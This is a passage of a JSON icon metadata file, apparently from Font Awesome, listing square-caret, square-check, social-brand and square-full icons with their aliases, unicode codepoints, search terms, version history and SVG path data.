        "path": "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z"
      }
    },
    "free": ["brands"]
  },
  "square-caret-down": {
    "aliases": {
      "names": ["caret-square-down"],
      "unicodes": {
        "secondary": ["10f150"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "caret-square-o-down",
        "dropdown",
        "expand",
        "menu",
        "more",
        "triangle"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f150",
    "label": "Square Caret Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 480c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 480c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z"
      },
      "regular": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 432c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0zm64-16c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 432c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0zm64-16c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-caret-left": {
    "aliases": {
      "names": ["caret-square-left"],
      "unicodes": {
        "secondary": ["10f191"]
      }
    },
    "changes": ["4.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "back", "caret-square-o-left", "previous", "triangle"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f191",
    "label": "Square Caret Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416zM128 256c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416zM128 256c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z"
      },
      "regular": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 416c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320zm16 64c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480zm64-224c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 416c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320zm16 64c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480zm64-224c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-caret-right": {
    "aliases": {
      "names": ["caret-square-right"],
      "unicodes": {
        "secondary": ["10f152"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "caret-square-o-right", "forward", "next", "triangle"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f152",
    "label": "Square Caret Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z"
      },
      "regular": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 96c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320zM384 32c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 96c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320zM384 32c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-caret-up": {
    "aliases": {
      "names": ["caret-square-up"],
      "unicodes": {
        "secondary": ["10f151"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "caret-square-o-up", "collapse", "triangle", "upload"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f151",
    "label": "Square Caret Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 160c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4H120c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 160c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4H120c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z"
      },
      "regular": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80zM0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96zm224 64c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4l-208 0c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80zM0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96zm224 64c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4l-208 0c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-check": {
    "aliases": {
      "names": ["check-square"],
      "unicodes": {
        "composite": ["2611", "2705", "f046"],
        "secondary": ["10f14a"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "box",
        "button",
        "check",
        "check box with check",
        "check mark button",
        "checkmark",
        "confirm",
        "correct",
        "done",
        "mark",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes",
        "✓"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f14a",
    "label": "Square Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      },
      "regular": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-dribbble": {
    "aliases": {
      "names": ["dribbble-square"]
    },
    "changes": ["5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f397",
    "label": "Dribbble Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z"
      }
    },
    "free": ["brands"]
  },
  "square-envelope": {
    "aliases": {
      "names": ["envelope-square"],
      "unicodes": {
        "secondary": ["10f199"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "e-mail",
        "email",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f199",
    "label": "Square Envelope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM218 271.7L64.2 172.4C66 156.4 79.5 144 96 144H352c16.5 0 30 12.4 31.8 28.4L230 271.7c-1.8 1.2-3.9 1.8-6 1.8s-4.2-.6-6-1.8zm29.4 26.9L384 210.4V336c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V210.4l136.6 88.2c7 4.5 15.1 6.9 23.4 6.9s16.4-2.4 23.4-6.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM218 271.7L64.2 172.4C66 156.4 79.5 144 96 144H352c16.5 0 30 12.4 31.8 28.4L230 271.7c-1.8 1.2-3.9 1.8-6 1.8s-4.2-.6-6-1.8zm29.4 26.9L384 210.4V336c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V210.4l136.6 88.2c7 4.5 15.1 6.9 23.4 6.9s16.4-2.4 23.4-6.9z"
      }
    },
    "free": ["solid"]
  },
  "square-facebook": {
    "aliases": {
      "names": ["facebook-square"]
    },
    "changes": ["1.0.0", "5.0.0", "5.8.2", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["social network"]
    },
    "styles": ["brands"],
    "unicode": "f082",
    "label": "Facebook Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z"
      }
    },
    "free": ["brands"]
  },
  "square-font-awesome": {
    "changes": ["5.0.0", "5.0.1", "6.0.0-beta1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5ad",
    "label": "Font Awesome in Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384.5,32.5h-320c-35.3,0-64,28.7-64,64v320c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64v-320 C448.5,61.2,419.8,32.5,384.5,32.5z M336.5,312.5c-31.6,11.2-41.2,16-59.8,16c-31.4,0-43.2-16-74.6-16c-10.2,0-18.2,1.6-25.6,4v-32 c7.4-2.2,15.4-4,25.6-4c31.2,0,43.2,16,74.6,16c10.2,0,17.8-1.4,27.8-4.6v-96c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.2-16-74.6-16 c-25.4,0-37.4,10.4-57.6,14.4v153.6c0,8.8-7.2,16-16,16c-8.8,0-16-7.2-16-16v-192c0-8.8,7.2-16,16-16c8.8,0,16,7.2,16,16v6.4 c20.2-4,32.2-14.4,57.6-14.4c31.2,0,43.2,16,74.6,16c18.6,0,28.2-4.8,59.8-16V312.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384.5,32.5h-320c-35.3,0-64,28.7-64,64v320c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64v-320 C448.5,61.2,419.8,32.5,384.5,32.5z M336.5,312.5c-31.6,11.2-41.2,16-59.8,16c-31.4,0-43.2-16-74.6-16c-10.2,0-18.2,1.6-25.6,4v-32 c7.4-2.2,15.4-4,25.6-4c31.2,0,43.2,16,74.6,16c10.2,0,17.8-1.4,27.8-4.6v-96c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.2-16-74.6-16 c-25.4,0-37.4,10.4-57.6,14.4v153.6c0,8.8-7.2,16-16,16c-8.8,0-16-7.2-16-16v-192c0-8.8,7.2-16,16-16c8.8,0,16,7.2,16,16v6.4 c20.2-4,32.2-14.4,57.6-14.4c31.2,0,43.2,16,74.6,16c18.6,0,28.2-4.8,59.8-16V312.5z"
      }
    },
    "free": ["brands"]
  },
  "square-font-awesome-stroke": {
    "aliases": {
      "names": ["font-awesome-alt"]
    },
    "changes": ["5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f35c",
    "label": "Font Awesome in Square with Stroke Outline",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201.6,152c-25.4,0-37.4,10.4-57.6,14.4V160c0-8.8-7.2-16-16-16s-16,7.2-16,16v192c0,0.8,0.1,1.6,0.2,2.4 c0.1,0.4,0.1,0.8,0.2,1.2c1.6,7.1,8,12.4,15.6,12.4s14-5.3,15.6-12.4c0.1-0.4,0.2-0.8,0.2-1.2c0.1-0.8,0.2-1.6,0.2-2.4V198.4 c4-0.8,7.7-1.8,11.2-3c14.3-4.7,26-11.4,46.4-11.4c31.4,0,43.2,16,74.6,16c8.9,0,15.9-1.1,24.2-3.5c1.2-0.3,2.4-0.7,3.6-1.1v96 c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.4-16-74.6-16c-10.2,0-18.2,1.8-25.6,4v32c7.4-2.4,15.4-4,25.6-4c31.4,0,43.2,16,74.6,16 c18.6,0,28.2-4.8,59.8-16V152c-31.6,11.2-41.2,16-59.8,16C244.8,168,232.8,152,201.6,152z M384,32H64C28.7,32,0,60.7,0,96v320 c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64V96C448,60.7,419.3,32,384,32z M416,416c0,17.6-14.4,32-32,32H64 c-17.6,0-32-14.4-32-32V96c0-17.6,14.4-32,32-32h320c17.6,0,32,14.4,32,32V416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201.6,152c-25.4,0-37.4,10.4-57.6,14.4V160c0-8.8-7.2-16-16-16s-16,7.2-16,16v192c0,0.8,0.1,1.6,0.2,2.4 c0.1,0.4,0.1,0.8,0.2,1.2c1.6,7.1,8,12.4,15.6,12.4s14-5.3,15.6-12.4c0.1-0.4,0.2-0.8,0.2-1.2c0.1-0.8,0.2-1.6,0.2-2.4V198.4 c4-0.8,7.7-1.8,11.2-3c14.3-4.7,26-11.4,46.4-11.4c31.4,0,43.2,16,74.6,16c8.9,0,15.9-1.1,24.2-3.5c1.2-0.3,2.4-0.7,3.6-1.1v96 c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.4-16-74.6-16c-10.2,0-18.2,1.8-25.6,4v32c7.4-2.4,15.4-4,25.6-4c31.4,0,43.2,16,74.6,16 c18.6,0,28.2-4.8,59.8-16V152c-31.6,11.2-41.2,16-59.8,16C244.8,168,232.8,152,201.6,152z M384,32H64C28.7,32,0,60.7,0,96v320 c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64V96C448,60.7,419.3,32,384,32z M416,416c0,17.6-14.4,32-32,32H64 c-17.6,0-32-14.4-32-32V96c0-17.6,14.4-32,32-32h320c17.6,0,32,14.4,32,32V416z"
      }
    },
    "free": ["brands"]
  },
  "square-full": {
    "aliases": {
      "unicodes": {
        "composite": [
          "1f7e5",
          "1f7e6",
          "1f7e7",
          "1f7e8",
          "1f7e9",
          "1f7ea",
          "1f7eb",
          "2b1b",
          "2b1c"
        ],
        "secondary": ["10f45c"]
      }
    },
    "changes": [
      "5.0.5",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "black large square",
        "block",
        "blue",
        "blue square",
        "box",
        "brown",
        "brown square",
        "geometric",
        "green",
        "green square",
        "orange",
        "orange square",
        "purple",
        "purple square",
        "red",
        "red square",
        "shape",
        "square",
        "white large square",
        "yellow",
        "yellow square"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f45c",
    "label": "Square Full",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 0H512V512H0V0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 0H512V512H0V0z"
      },
      "regular": {
        "last_modified": 1684767551,
